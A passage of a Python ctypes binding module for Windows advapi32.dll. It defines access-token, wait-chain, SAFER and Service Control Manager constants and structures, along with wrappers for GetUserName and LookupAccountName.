TokenUIAccess = 26 TokenMandatoryPolicy = 27 TokenLogonSid = 28 TokenIsAppContainer = 29 TokenCapabilities = 30 TokenAppContainerSid = 31 TokenAppContainerNumber = 32 TokenUserClaimAttributes = 33 TokenDeviceClaimAttributes = 34 TokenRestrictedUserClaimAttributes = 35 TokenRestrictedDeviceClaimAttributes = 36 TokenDeviceGroups = 37 TokenRestrictedDeviceGroups = 38 TokenSecurityAttributes = 39 TokenIsRestricted = 40 MaxTokenInfoClass = 41 # typedef enum tagTOKEN_TYPE { # TokenPrimary = 1, # TokenImpersonation # } TOKEN_TYPE, *PTOKEN_TYPE; TOKEN_TYPE = ctypes.c_int PTOKEN_TYPE = POINTER(TOKEN_TYPE) TokenPrimary = 1 TokenImpersonation = 2 # typedef enum { # TokenElevationTypeDefault = 1, # TokenElevationTypeFull, # TokenElevationTypeLimited # } TOKEN_ELEVATION_TYPE , *PTOKEN_ELEVATION_TYPE; TokenElevationTypeDefault = 1 TokenElevationTypeFull = 2 TokenElevationTypeLimited = 3 TOKEN_ELEVATION_TYPE = ctypes.c_int PTOKEN_ELEVATION_TYPE = POINTER(TOKEN_ELEVATION_TYPE) # typedef enum _SECURITY_IMPERSONATION_LEVEL { # SecurityAnonymous, # SecurityIdentification, # SecurityImpersonation, # SecurityDelegation # } SECURITY_IMPERSONATION_LEVEL, *PSECURITY_IMPERSONATION_LEVEL; SecurityAnonymous = 0 SecurityIdentification = 1 SecurityImpersonation = 2 SecurityDelegation = 3 SECURITY_IMPERSONATION_LEVEL = ctypes.c_int PSECURITY_IMPERSONATION_LEVEL = POINTER(SECURITY_IMPERSONATION_LEVEL) # typedef struct _SID_AND_ATTRIBUTES { # PSID Sid; # DWORD Attributes; # } SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES; class SID_AND_ATTRIBUTES(Structure): _fields_ = [ ("Sid", PSID), ("Attributes", DWORD), ] PSID_AND_ATTRIBUTES = POINTER(SID_AND_ATTRIBUTES) # typedef struct _TOKEN_USER { # SID_AND_ATTRIBUTES User; # } TOKEN_USER, *PTOKEN_USER; class TOKEN_USER(Structure): _fields_ = [ ("User", SID_AND_ATTRIBUTES), ] PTOKEN_USER = POINTER(TOKEN_USER) # typedef struct _TOKEN_MANDATORY_LABEL { # SID_AND_ATTRIBUTES Label; # } TOKEN_MANDATORY_LABEL, *PTOKEN_MANDATORY_LABEL; class TOKEN_MANDATORY_LABEL(Structure): _fields_ = [ ("Label", SID_AND_ATTRIBUTES), ] PTOKEN_MANDATORY_LABEL = POINTER(TOKEN_MANDATORY_LABEL) # typedef struct _TOKEN_OWNER { # PSID Owner; # } TOKEN_OWNER, *PTOKEN_OWNER; class TOKEN_OWNER(Structure): _fields_ = [ ("Owner", PSID), ] PTOKEN_OWNER = POINTER(TOKEN_OWNER) # typedef struct _TOKEN_PRIMARY_GROUP { # PSID PrimaryGroup; # } TOKEN_PRIMARY_GROUP, *PTOKEN_PRIMARY_GROUP; class TOKEN_PRIMARY_GROUP(Structure): _fields_ = [ ("PrimaryGroup", PSID), ] PTOKEN_PRIMARY_GROUP = POINTER(TOKEN_PRIMARY_GROUP) # typedef struct _TOKEN_APPCONTAINER_INFORMATION { # PSID TokenAppContainer; # } TOKEN_APPCONTAINER_INFORMATION, *PTOKEN_APPCONTAINER_INFORMATION; class TOKEN_APPCONTAINER_INFORMATION(Structure): _fields_ = [ ("TokenAppContainer", PSID), ] PTOKEN_APPCONTAINER_INFORMATION = POINTER(TOKEN_APPCONTAINER_INFORMATION) # typedef struct _TOKEN_ORIGIN { # LUID OriginatingLogonSession; # } TOKEN_ORIGIN, *PTOKEN_ORIGIN; class TOKEN_ORIGIN(Structure): _fields_ = [ ("OriginatingLogonSession", LUID), ] PTOKEN_ORIGIN = POINTER(TOKEN_ORIGIN) # typedef struct _TOKEN_LINKED_TOKEN { # HANDLE LinkedToken; # } TOKEN_LINKED_TOKEN, *PTOKEN_LINKED_TOKEN; class TOKEN_LINKED_TOKEN(Structure): _fields_ = [ ("LinkedToken", HANDLE), ] PTOKEN_LINKED_TOKEN = POINTER(TOKEN_LINKED_TOKEN) # typedef struct _TOKEN_STATISTICS { # LUID TokenId; # LUID AuthenticationId; # LARGE_INTEGER ExpirationTime; # TOKEN_TYPE TokenType; # SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; # DWORD DynamicCharged; # DWORD DynamicAvailable; # DWORD GroupCount; # DWORD PrivilegeCount; # LUID ModifiedId; # } TOKEN_STATISTICS, *PTOKEN_STATISTICS; class TOKEN_STATISTICS(Structure): _fields_ = [ ("TokenId", LUID), ("AuthenticationId", LUID), ("ExpirationTime", LONGLONG), # LARGE_INTEGER ("TokenType", TOKEN_TYPE), ("ImpersonationLevel", SECURITY_IMPERSONATION_LEVEL), ("DynamicCharged", DWORD), ("DynamicAvailable", DWORD), ("GroupCount", DWORD), ("PrivilegeCount", DWORD), ("ModifiedId", LUID), ] PTOKEN_STATISTICS = POINTER(TOKEN_STATISTICS) #--- SID_NAME_USE enum -------------------------------------------------------- # typedef enum _SID_NAME_USE { # SidTypeUser = 1, # SidTypeGroup, # SidTypeDomain, # SidTypeAlias, # SidTypeWellKnownGroup, # SidTypeDeletedAccount, # SidTypeInvalid, # SidTypeUnknown, # SidTypeComputer, # SidTypeLabel # } SID_NAME_USE, *PSID_NAME_USE; SidTypeUser = 1 SidTypeGroup = 2 SidTypeDomain = 3 SidTypeAlias = 4 SidTypeWellKnownGroup = 5 SidTypeDeletedAccount = 6 SidTypeInvalid = 7 SidTypeUnknown = 8 SidTypeComputer = 9 SidTypeLabel = 10 #--- WAITCHAIN_NODE_INFO structure and types ---------------------------------- WCT_MAX_NODE_COUNT = 16 WCT_OBJNAME_LENGTH = 128 WCT_ASYNC_OPEN_FLAG = 1 WCTP_OPEN_ALL_FLAGS = WCT_ASYNC_OPEN_FLAG WCT_OUT_OF_PROC_FLAG = 1 WCT_OUT_OF_PROC_COM_FLAG = 2 WCT_OUT_OF_PROC_CS_FLAG = 4 WCTP_GETINFO_ALL_FLAGS = WCT_OUT_OF_PROC_FLAG | WCT_OUT_OF_PROC_COM_FLAG | WCT_OUT_OF_PROC_CS_FLAG HWCT = LPVOID # typedef enum _WCT_OBJECT_TYPE # { # WctCriticalSectionType = 1, # WctSendMessageType, # WctMutexType, # WctAlpcType, # WctComType, # WctThreadWaitType, # WctProcessWaitType, # WctThreadType, # WctComActivationType, # WctUnknownType, # WctMaxType # } WCT_OBJECT_TYPE; WCT_OBJECT_TYPE = DWORD WctCriticalSectionType = 1 WctSendMessageType = 2 WctMutexType = 3 WctAlpcType = 4 WctComType = 5 WctThreadWaitType = 6 WctProcessWaitType = 7 WctThreadType = 8 WctComActivationType = 9 WctUnknownType = 10 WctMaxType = 11 # typedef enum _WCT_OBJECT_STATUS # { # WctStatusNoAccess = 1, // ACCESS_DENIED for this object # WctStatusRunning, // Thread status # WctStatusBlocked, // Thread status # WctStatusPidOnly, // Thread status # WctStatusPidOnlyRpcss, // Thread status # WctStatusOwned, // Dispatcher object status # WctStatusNotOwned, // Dispatcher object status # WctStatusAbandoned, // Dispatcher object status # WctStatusUnknown, // All objects # WctStatusError, // All objects # WctStatusMax # } WCT_OBJECT_STATUS; WCT_OBJECT_STATUS = DWORD WctStatusNoAccess = 1 # ACCESS_DENIED for this object WctStatusRunning = 2 # Thread status WctStatusBlocked = 3 # Thread status WctStatusPidOnly = 4 # Thread status WctStatusPidOnlyRpcss = 5 # Thread status WctStatusOwned = 6 # Dispatcher object status WctStatusNotOwned = 7 # Dispatcher object status WctStatusAbandoned = 8 # Dispatcher object status WctStatusUnknown = 9 # All objects WctStatusError = 10 # All objects WctStatusMax = 11 # typedef struct _WAITCHAIN_NODE_INFO { # WCT_OBJECT_TYPE ObjectType; # WCT_OBJECT_STATUS ObjectStatus; # union { # struct { # WCHAR ObjectName[WCT_OBJNAME_LENGTH]; # LARGE_INTEGER Timeout; # BOOL Alertable; # } LockObject; # struct { # DWORD ProcessId; # DWORD ThreadId; # DWORD WaitTime; # DWORD ContextSwitches; # } ThreadObject; # } ; # }WAITCHAIN_NODE_INFO, *PWAITCHAIN_NODE_INFO; class _WAITCHAIN_NODE_INFO_STRUCT_1(Structure): _fields_ = [ ("ObjectName", WCHAR * WCT_OBJNAME_LENGTH), ("Timeout", LONGLONG), # LARGE_INTEGER ("Alertable", BOOL), ] class _WAITCHAIN_NODE_INFO_STRUCT_2(Structure): _fields_ = [ ("ProcessId", DWORD), ("ThreadId", DWORD), ("WaitTime", DWORD), ("ContextSwitches", DWORD), ] class _WAITCHAIN_NODE_INFO_UNION(Union): _fields_ = [ ("LockObject", _WAITCHAIN_NODE_INFO_STRUCT_1), ("ThreadObject", _WAITCHAIN_NODE_INFO_STRUCT_2), ] class WAITCHAIN_NODE_INFO(Structure): _fields_ = [ ("ObjectType", WCT_OBJECT_TYPE), ("ObjectStatus", WCT_OBJECT_STATUS), ("u", _WAITCHAIN_NODE_INFO_UNION), ] PWAITCHAIN_NODE_INFO = POINTER(WAITCHAIN_NODE_INFO) class WaitChainNodeInfo (object): """ Represents a node in the wait chain. It's a wrapper on the L{WAITCHAIN_NODE_INFO} structure. The following members are defined only if the node is of L{WctThreadType} type: - C{ProcessId} - C{ThreadId} - C{WaitTime} - C{ContextSwitches} @see: L{GetThreadWaitChain} @type ObjectName: unicode @ivar ObjectName: Object name. May be an empty string. @type ObjectType: int @ivar ObjectType: Object type. Should be one of the following values: - L{WctCriticalSectionType} - L{WctSendMessageType} - L{WctMutexType} - L{WctAlpcType} - L{WctComType} - L{WctThreadWaitType} - L{WctProcessWaitType} - L{WctThreadType} - L{WctComActivationType} - L{WctUnknownType} @type ObjectStatus: int @ivar ObjectStatus: Wait status. Should be one of the following values: - L{WctStatusNoAccess} I{(ACCESS_DENIED for this object)} - L{WctStatusRunning} I{(Thread status)} - L{WctStatusBlocked} I{(Thread status)} - L{WctStatusPidOnly} I{(Thread status)} - L{WctStatusPidOnlyRpcss} I{(Thread status)} - L{WctStatusOwned} I{(Dispatcher object status)} - L{WctStatusNotOwned} I{(Dispatcher object status)} - L{WctStatusAbandoned} I{(Dispatcher object status)} - L{WctStatusUnknown} I{(All objects)} - L{WctStatusError} I{(All objects)} @type ProcessId: int @ivar ProcessId: Process global ID. @type ThreadId: int @ivar ThreadId: Thread global ID. @type WaitTime: int @ivar WaitTime: Wait time. @type ContextSwitches: int @ivar ContextSwitches: Number of context switches. """ #@type Timeout: int #@ivar Timeout: Currently not documented in MSDN. # #@type Alertable: bool #@ivar Alertable: Currently not documented in MSDN. # TODO: __repr__ def __init__(self, aStructure): self.ObjectType = aStructure.ObjectType self.ObjectStatus = aStructure.ObjectStatus if self.ObjectType == WctThreadType: self.ProcessId = aStructure.u.ThreadObject.ProcessId self.ThreadId = aStructure.u.ThreadObject.ThreadId self.WaitTime = aStructure.u.ThreadObject.WaitTime self.ContextSwitches = aStructure.u.ThreadObject.ContextSwitches self.ObjectName = u'' else: self.ObjectName = aStructure.u.LockObject.ObjectName.value #self.Timeout = aStructure.u.LockObject.Timeout #self.Alertable = bool(aStructure.u.LockObject.Alertable) class ThreadWaitChainSessionHANDLE (HANDLE): """ Thread wait chain session handle. Returned by L{OpenThreadWaitChainSession}. @see: L{HANDLE} """ def __init__(self, aHANDLE = None): """ @type aHANDLE: int @param aHANDLE: Win32 handle value. """ super(ThreadWaitChainSessionHANDLE, self).__init__(aHANDLE, bOwnership = True) def _close(self): if self.value is None: raise ValueError("HANDLE was already closed!") CloseThreadWaitChainSession(self.value) def dup(self): raise NotImplementedError() def wait(self, dwMilliseconds = None): raise NotImplementedError() @property def inherit(self): return False @property def protectFromClose(self): return False #--- Privilege dropping ------------------------------------------------------- SAFER_LEVEL_HANDLE = HANDLE SAFER_SCOPEID_MACHINE = 1 SAFER_SCOPEID_USER = 2 SAFER_LEVEL_OPEN = 1 SAFER_LEVELID_DISALLOWED = 0x00000 SAFER_LEVELID_UNTRUSTED = 0x01000 SAFER_LEVELID_CONSTRAINED = 0x10000 SAFER_LEVELID_NORMALUSER = 0x20000 SAFER_LEVELID_FULLYTRUSTED = 0x40000 SAFER_POLICY_INFO_CLASS = DWORD SaferPolicyLevelList = 1 SaferPolicyEnableTransparentEnforcement = 2 SaferPolicyDefaultLevel = 3 SaferPolicyEvaluateUserScope = 4 SaferPolicyScopeFlags = 5 SAFER_TOKEN_NULL_IF_EQUAL = 1 SAFER_TOKEN_COMPARE_ONLY = 2 SAFER_TOKEN_MAKE_INERT = 4 SAFER_TOKEN_WANT_FLAGS = 8 SAFER_TOKEN_MASK = 15 #--- Service Control Manager types, constants and structures ------------------ SC_HANDLE = HANDLE SERVICES_ACTIVE_DATABASEW = u"ServicesActive" SERVICES_FAILED_DATABASEW = u"ServicesFailed" SERVICES_ACTIVE_DATABASEA = "ServicesActive" SERVICES_FAILED_DATABASEA = "ServicesFailed" SC_GROUP_IDENTIFIERW = u'+' SC_GROUP_IDENTIFIERA = '+' SERVICE_NO_CHANGE = 0xffffffff # enum SC_STATUS_TYPE SC_STATUS_TYPE = ctypes.c_int SC_STATUS_PROCESS_INFO = 0 # enum SC_ENUM_TYPE SC_ENUM_TYPE = ctypes.c_int SC_ENUM_PROCESS_INFO = 0 # Access rights # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx SERVICE_ALL_ACCESS = 0xF01FF SERVICE_QUERY_CONFIG = 0x0001 SERVICE_CHANGE_CONFIG = 0x0002 SERVICE_QUERY_STATUS = 0x0004 SERVICE_ENUMERATE_DEPENDENTS = 0x0008 SERVICE_START = 0x0010 SERVICE_STOP = 0x0020 SERVICE_PAUSE_CONTINUE = 0x0040 SERVICE_INTERROGATE = 0x0080 SERVICE_USER_DEFINED_CONTROL = 0x0100 SC_MANAGER_ALL_ACCESS = 0xF003F SC_MANAGER_CONNECT = 0x0001 SC_MANAGER_CREATE_SERVICE = 0x0002 SC_MANAGER_ENUMERATE_SERVICE = 0x0004 SC_MANAGER_LOCK = 0x0008 SC_MANAGER_QUERY_LOCK_STATUS = 0x0010 SC_MANAGER_MODIFY_BOOT_CONFIG = 0x0020 # CreateService() service start type SERVICE_BOOT_START = 0x00000000 SERVICE_SYSTEM_START = 0x00000001 SERVICE_AUTO_START = 0x00000002 SERVICE_DEMAND_START = 0x00000003 SERVICE_DISABLED = 0x00000004 # CreateService() error control flags SERVICE_ERROR_IGNORE = 0x00000000 SERVICE_ERROR_NORMAL = 0x00000001 SERVICE_ERROR_SEVERE = 0x00000002 SERVICE_ERROR_CRITICAL = 0x00000003 # EnumServicesStatusEx() service state filters SERVICE_ACTIVE = 1 SERVICE_INACTIVE = 2 SERVICE_STATE_ALL = 3 # SERVICE_STATUS_PROCESS.dwServiceType SERVICE_KERNEL_DRIVER = 0x00000001 SERVICE_FILE_SYSTEM_DRIVER = 0x00000002 SERVICE_ADAPTER = 0x00000004 SERVICE_RECOGNIZER_DRIVER = 0x00000008 SERVICE_WIN32_OWN_PROCESS = 0x00000010 SERVICE_WIN32_SHARE_PROCESS = 0x00000020 SERVICE_INTERACTIVE_PROCESS = 0x00000100 # EnumServicesStatusEx() service type filters (in addition to actual types) SERVICE_DRIVER = 0x0000000B # SERVICE_KERNEL_DRIVER and SERVICE_FILE_SYSTEM_DRIVER SERVICE_WIN32 = 0x00000030 # SERVICE_WIN32_OWN_PROCESS and SERVICE_WIN32_SHARE_PROCESS # SERVICE_STATUS_PROCESS.dwCurrentState SERVICE_STOPPED = 0x00000001 SERVICE_START_PENDING = 0x00000002 SERVICE_STOP_PENDING = 0x00000003 SERVICE_RUNNING = 0x00000004 SERVICE_CONTINUE_PENDING = 0x00000005 SERVICE_PAUSE_PENDING = 0x00000006 SERVICE_PAUSED = 0x00000007 # SERVICE_STATUS_PROCESS.dwControlsAccepted SERVICE_ACCEPT_STOP = 0x00000001 SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002 SERVICE_ACCEPT_SHUTDOWN = 0x00000004 SERVICE_ACCEPT_PARAMCHANGE = 0x00000008 SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010 SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020 SERVICE_ACCEPT_POWEREVENT = 0x00000040 SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080 SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100 # SERVICE_STATUS_PROCESS.dwServiceFlags SERVICE_RUNS_IN_SYSTEM_PROCESS = 0x00000001 # Service control flags SERVICE_CONTROL_STOP = 0x00000001 SERVICE_CONTROL_PAUSE = 0x00000002 SERVICE_CONTROL_CONTINUE = 0x00000003 SERVICE_CONTROL_INTERROGATE = 0x00000004 SERVICE_CONTROL_SHUTDOWN = 0x00000005 SERVICE_CONTROL_PARAMCHANGE = 0x00000006 SERVICE_CONTROL_NETBINDADD = 0x00000007 SERVICE_CONTROL_NETBINDREMOVE = 0x00000008 SERVICE_CONTROL_NETBINDENABLE = 0x00000009 SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A SERVICE_CONTROL_DEVICEEVENT = 0x0000000B SERVICE_CONTROL_HARDWAREPROFILECHANGE = 0x0000000C SERVICE_CONTROL_POWEREVENT = 0x0000000D SERVICE_CONTROL_SESSIONCHANGE = 0x0000000E # Service control accepted bitmasks SERVICE_ACCEPT_STOP = 0x00000001 SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002 SERVICE_ACCEPT_SHUTDOWN = 0x00000004 SERVICE_ACCEPT_PARAMCHANGE = 0x00000008 SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010 SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020 SERVICE_ACCEPT_POWEREVENT = 0x00000040 SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080 SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100 SERVICE_ACCEPT_TIMECHANGE = 0x00000200 SERVICE_ACCEPT_TRIGGEREVENT = 0x00000400 SERVICE_ACCEPT_USERMODEREBOOT = 0x00000800 # enum SC_ACTION_TYPE SC_ACTION_NONE = 0 SC_ACTION_RESTART = 1 SC_ACTION_REBOOT = 2 SC_ACTION_RUN_COMMAND = 3 # QueryServiceConfig2 SERVICE_CONFIG_DESCRIPTION = 1 SERVICE_CONFIG_FAILURE_ACTIONS = 2 # typedef struct _SERVICE_STATUS { # DWORD dwServiceType; # DWORD dwCurrentState; # DWORD dwControlsAccepted; # DWORD dwWin32ExitCode; # DWORD dwServiceSpecificExitCode; # DWORD dwCheckPoint; # DWORD dwWaitHint; # } SERVICE_STATUS, *LPSERVICE_STATUS; class SERVICE_STATUS(Structure): _fields_ = [ ("dwServiceType", DWORD), ("dwCurrentState", DWORD), ("dwControlsAccepted", DWORD), ("dwWin32ExitCode", DWORD), ("dwServiceSpecificExitCode", DWORD), ("dwCheckPoint", DWORD), ("dwWaitHint", DWORD), ] LPSERVICE_STATUS = POINTER(SERVICE_STATUS) # typedef struct _SERVICE_STATUS_PROCESS { # DWORD dwServiceType; # DWORD dwCurrentState; # DWORD dwControlsAccepted; # DWORD dwWin32ExitCode; # DWORD dwServiceSpecificExitCode; # DWORD dwCheckPoint; # DWORD dwWaitHint; # DWORD dwProcessId; # DWORD dwServiceFlags; # } SERVICE_STATUS_PROCESS, *LPSERVICE_STATUS_PROCESS; class SERVICE_STATUS_PROCESS(Structure): _fields_ = SERVICE_STATUS._fields_ + [ ("dwProcessId", DWORD), ("dwServiceFlags", DWORD), ] LPSERVICE_STATUS_PROCESS = POINTER(SERVICE_STATUS_PROCESS) # typedef struct _ENUM_SERVICE_STATUS { # LPTSTR lpServiceName; # LPTSTR lpDisplayName; # SERVICE_STATUS ServiceStatus; # } ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS; class ENUM_SERVICE_STATUSA(Structure): _fields_ = [ ("lpServiceName", LPSTR), ("lpDisplayName", LPSTR), ("ServiceStatus", SERVICE_STATUS), ] class ENUM_SERVICE_STATUSW(Structure): _fields_ = [ ("lpServiceName", LPWSTR), ("lpDisplayName", LPWSTR), ("ServiceStatus", SERVICE_STATUS), ] LPENUM_SERVICE_STATUSA = POINTER(ENUM_SERVICE_STATUSA) LPENUM_SERVICE_STATUSW = POINTER(ENUM_SERVICE_STATUSW) # typedef struct _ENUM_SERVICE_STATUS_PROCESS { # LPTSTR lpServiceName; # LPTSTR lpDisplayName; # SERVICE_STATUS_PROCESS ServiceStatusProcess; # } ENUM_SERVICE_STATUS_PROCESS, *LPENUM_SERVICE_STATUS_PROCESS; class ENUM_SERVICE_STATUS_PROCESSA(Structure): _fields_ = [ ("lpServiceName", LPSTR), ("lpDisplayName", LPSTR), ("ServiceStatusProcess", SERVICE_STATUS_PROCESS), ] class ENUM_SERVICE_STATUS_PROCESSW(Structure): _fields_ = [ ("lpServiceName", LPWSTR), ("lpDisplayName", LPWSTR), ("ServiceStatusProcess", SERVICE_STATUS_PROCESS), ] LPENUM_SERVICE_STATUS_PROCESSA = POINTER(ENUM_SERVICE_STATUS_PROCESSA) LPENUM_SERVICE_STATUS_PROCESSW = POINTER(ENUM_SERVICE_STATUS_PROCESSW) class ServiceStatus(object): """ Wrapper for the L{SERVICE_STATUS} structure. """ def __init__(self, raw): """ @type raw: L{SERVICE_STATUS} @param raw: Raw structure for this service status data. """ self.ServiceType = raw.dwServiceType self.CurrentState = raw.dwCurrentState self.ControlsAccepted = raw.dwControlsAccepted self.Win32ExitCode = raw.dwWin32ExitCode self.ServiceSpecificExitCode = raw.dwServiceSpecificExitCode self.CheckPoint = raw.dwCheckPoint self.WaitHint = raw.dwWaitHint class ServiceStatusProcess(object): """ Wrapper for the L{SERVICE_STATUS_PROCESS} structure. """ def __init__(self, raw): """ @type raw: L{SERVICE_STATUS_PROCESS} @param raw: Raw structure for this service status data. """ self.ServiceType = raw.dwServiceType self.CurrentState = raw.dwCurrentState self.ControlsAccepted = raw.dwControlsAccepted self.Win32ExitCode = raw.dwWin32ExitCode self.ServiceSpecificExitCode = raw.dwServiceSpecificExitCode self.CheckPoint = raw.dwCheckPoint self.WaitHint = raw.dwWaitHint self.ProcessId = raw.dwProcessId self.ServiceFlags = raw.dwServiceFlags class ServiceStatusEntry(object): """ Service status entry returned by L{EnumServicesStatus}. """ def __init__(self, raw): """ @type raw: L{ENUM_SERVICE_STATUSA} or L{ENUM_SERVICE_STATUSW} @param raw: Raw structure for this service status entry. """ self.ServiceName = raw.lpServiceName self.DisplayName = raw.lpDisplayName self.ServiceType = raw.ServiceStatus.dwServiceType self.CurrentState = raw.ServiceStatus.dwCurrentState self.ControlsAccepted = raw.ServiceStatus.dwControlsAccepted self.Win32ExitCode = raw.ServiceStatus.dwWin32ExitCode self.ServiceSpecificExitCode = raw.ServiceStatus.dwServiceSpecificExitCode self.CheckPoint = raw.ServiceStatus.dwCheckPoint self.WaitHint = raw.ServiceStatus.dwWaitHint def __str__(self): output = [] if self.ServiceType & SERVICE_INTERACTIVE_PROCESS: output.append("Interactive service") else: output.append("Service") if self.DisplayName: output.append("\"%s\" (%s)" % (self.DisplayName, self.ServiceName)) else: output.append("\"%s\"" % self.ServiceName) if self.CurrentState == SERVICE_CONTINUE_PENDING: output.append("is about to continue.") elif self.CurrentState == SERVICE_PAUSE_PENDING: output.append("is pausing.") elif self.CurrentState == SERVICE_PAUSED: output.append("is paused.") elif self.CurrentState == SERVICE_RUNNING: output.append("is running.") elif self.CurrentState == SERVICE_START_PENDING: output.append("is starting.") elif self.CurrentState == SERVICE_STOP_PENDING: output.append("is stopping.") elif self.CurrentState == SERVICE_STOPPED: output.append("is stopped.") return " ".join(output) class ServiceStatusProcessEntry(object): """ Service status entry returned by L{EnumServicesStatusEx}. """ def __init__(self, raw): """ @type raw: L{ENUM_SERVICE_STATUS_PROCESSA} or L{ENUM_SERVICE_STATUS_PROCESSW} @param raw: Raw structure for this service status entry. """ self.ServiceName = raw.lpServiceName self.DisplayName = raw.lpDisplayName self.ServiceType = raw.ServiceStatusProcess.dwServiceType self.CurrentState = raw.ServiceStatusProcess.dwCurrentState self.ControlsAccepted = raw.ServiceStatusProcess.dwControlsAccepted self.Win32ExitCode = raw.ServiceStatusProcess.dwWin32ExitCode self.ServiceSpecificExitCode = raw.ServiceStatusProcess.dwServiceSpecificExitCode self.CheckPoint = raw.ServiceStatusProcess.dwCheckPoint self.WaitHint = raw.ServiceStatusProcess.dwWaitHint self.ProcessId = raw.ServiceStatusProcess.dwProcessId self.ServiceFlags = raw.ServiceStatusProcess.dwServiceFlags def __str__(self): output = [] if self.ServiceType & SERVICE_INTERACTIVE_PROCESS: output.append("Interactive service ") else: output.append("Service ") if self.DisplayName: output.append("\"%s\" (%s)" % (self.DisplayName, self.ServiceName)) else: output.append("\"%s\"" % self.ServiceName) if self.CurrentState == SERVICE_CONTINUE_PENDING: output.append(" is about to continue") elif self.CurrentState == SERVICE_PAUSE_PENDING: output.append(" is pausing") elif self.CurrentState == SERVICE_PAUSED: output.append(" is paused") elif self.CurrentState == SERVICE_RUNNING: output.append(" is running") elif self.CurrentState == SERVICE_START_PENDING: output.append(" is starting") elif self.CurrentState == SERVICE_STOP_PENDING: output.append(" is stopping") elif self.CurrentState == SERVICE_STOPPED: output.append(" is stopped") if self.ProcessId: output.append(" at process %d" % self.ProcessId) output.append(".") return "".join(output) #--- HANDLE wrappers ---------------------------------------------------------- # XXX maybe add functions related to the tokens here? class TokenHandle (HANDLE): """ Access token handle. @see: L{HANDLE} """ pass class RegistryKeyHandle (UserModeHandle): """ Registry key handle. """ _TYPE = HKEY def _close(self): RegCloseKey(self.value) class SaferLevelHandle (UserModeHandle): """ Safer level handle. @see: U{http://msdn.microsoft.com/en-us/library/ms722425(VS.85).aspx} """ _TYPE = SAFER_LEVEL_HANDLE def _close(self): SaferCloseLevel(self.value) class ServiceHandle (UserModeHandle): """ Service handle. @see: U{http://msdn.microsoft.com/en-us/library/windows/desktop/ms684330(v=vs.85).aspx} """ _TYPE = SC_HANDLE def _close(self): CloseServiceHANDLE(self.value) class ServiceControlManagerHandle (UserModeHandle): """ Service Control Manager (SCM) handle. @see: U{http://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx} """ _TYPE = SC_HANDLE def _close(self): CloseServiceHANDLE(self.value) #--- advapi32.dll ------------------------------------------------------------- # BOOL WINAPI GetUserName( # __out LPTSTR lpBuffer, # __inout LPDWORD lpnSize # ); def GetUserNameA(): _GetUserNameA = windll.advapi32.GetUserNameA _GetUserNameA.argtypes = [LPSTR, LPDWORD] _GetUserNameA.restype = bool nSize = DWORD(0) _GetUserNameA(None, byref(nSize)) error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise ctypes.WinError(error) lpBuffer = ctypes.create_string_buffer('', nSize.value + 1) success = _GetUserNameA(lpBuffer, byref(nSize)) if not success: raise ctypes.WinError() return lpBuffer.value def GetUserNameW(): _GetUserNameW = windll.advapi32.GetUserNameW _GetUserNameW.argtypes = [LPWSTR, LPDWORD] _GetUserNameW.restype = bool nSize = DWORD(0) _GetUserNameW(None, byref(nSize)) error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise ctypes.WinError(error) lpBuffer = ctypes.create_unicode_buffer(u'', nSize.value + 1) success = _GetUserNameW(lpBuffer, byref(nSize)) if not success: raise ctypes.WinError() return lpBuffer.value GetUserName = DefaultStringType(GetUserNameA, GetUserNameW) # BOOL WINAPI LookupAccountName( # __in_opt LPCTSTR lpSystemName, # __in LPCTSTR lpAccountName, # __out_opt PSID Sid, # __inout LPDWORD cbSid, # __out_opt LPTSTR ReferencedDomainName, # __inout LPDWORD cchReferencedDomainName, # __out PSID_NAME_USE peUse # ); def LookupAccountNameA(lpSystemName, lpAccountName): _LookupAccountNameA = windll.advapi32.LookupAccountNameA _LookupAccountNameA.argtypes = [LPSTR, LPSTR, PSID, LPDWORD, LPSTR, LPDWORD, LPDWORD] _LookupAccountNameA.restype = BOOL cbSid = DWORD(0) cchReferencedDomainName = DWORD(0) peUse = DWORD(0) _LookupAccountNameA(lpSystemName, lpAccountName, None, byref(cbSid), None, byref(cchReferencedDomainName), byref(peUse)) error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise(ctypes.WinError(error)) sid = ctypes.create_string_buffer('', cbSid.value) psid = ctypes.cast(ctypes.pointer(sid), PSID) lpReferencedDomainName = ctypes.create_string_buffer('', cchReferencedDomainName.value + 1) success = _LookupAccountNameA(lpSystemName, lpAccountName, psid, byref(cbSid), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse)) if not success: raise ctypes.WinError() return psid, lpReferencedDomainName.value, peUse.value def LookupAccountNameW(lpSystemName, lpAccountName): _LookupAccountNameW = windll.advapi32.LookupAccountNameW _LookupAccountNameW.argtypes = [LPWSTR, LPWSTR, PSID, LPDWORD, LPWSTR, LPDWORD, LPDWORD] _LookupAccountNameW.restype = BOOL cbSid = DWORD(0) cchReferencedDomainName = DWORD(0) peUse = DWORD(0) _LookupAccountNameW(lpSystemName, lpAccountName, None, byref(cbSid), None, byref(cchReferencedDomainName), byref(peUse)) error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise(ctypes.WinError(error)) sid = ctypes.create_string_buffer('', cbSid.value) psid = ctypes.cast(ctypes.pointer(sid), PSID) lpReferencedDomainName = ctypes.create_unicode_buffer(u'', cchReferencedDomainName.value + 1) success = _LookupAccountNameW(lpSystemName, lpAccountName, psid, byref(cbSid), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse)) if not success: raise ctypes.WinError() return psid, lpReferencedDomainName.value, peUse.value LookupAccountName = GuessStringType(LookupAccountNameA, LookupAccountNameW) # BOOL WINAPI LookupAccountSid( # 